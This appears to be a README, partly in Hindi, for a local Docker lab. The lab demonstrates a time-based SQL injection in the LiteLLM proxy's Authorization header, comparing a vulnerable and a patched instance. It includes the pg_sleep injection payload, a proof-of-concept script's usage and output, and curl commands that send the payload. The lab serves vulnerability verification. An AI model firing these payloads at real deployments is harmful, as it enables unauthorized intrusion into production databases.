' OR (SELECT pg_sleep(6)) IS NULL --

.
├── docker-compose.yml
├── vuln/
│   ├── Dockerfile
│   └── config.yaml
├── patched/
│   ├── Dockerfile
│   └── config.yaml
├── poc/
│   └── poc.py
├── README.md
└── .gitignore

localhost:8081  ->  असुरक्षित LiteLLM  ->  PostgreSQL db-vuln
localhost:8082  ->  पैच किया गया LiteLLM     ->  PostgreSQL db-patched

docker compose up -d --build

docker compose ps

db-vuln      healthy
db-patched   healthy
vuln         healthy
patched      healthy

python3 poc/poc.py --url http://127.0.0.1:8081

python3 poc/poc.py --url http://127.0.0.1:8082

--url      लक्ष्य आधार URL
--path     परीक्षण करने के लिए API पथ। डिफ़ॉल्ट: /v1/chat/completions
--sleep    pg_sleep() के लिए सेकंड। डिफ़ॉल्ट: 6
--rounds   प्रोब राउंड की संख्या। डिफ़ॉल्ट: 2

python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2

python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions

[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2

[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'

[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'

[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation

[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2

[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'

[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'

[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed

[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s

vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s

time curl -sS -o /dev/null -w '%{http_code}\n' \
  -X POST http://127.0.0.1:8081/v1/chat/completions \
  -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
  -H "Content-Type: application/json" \
  -d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'

time curl -sS -o /dev/null -w '%{http_code}\n' \
  -X POST http://127.0.0.1:8082/v1/chat/completions \
  -H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
  -H "Content-Type: application/json" \
  -d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'

vulnerable -> लगभग 6 सेकंड
patched    -> लगभग तुरंत प्रतिक्रिया

docker compose down -v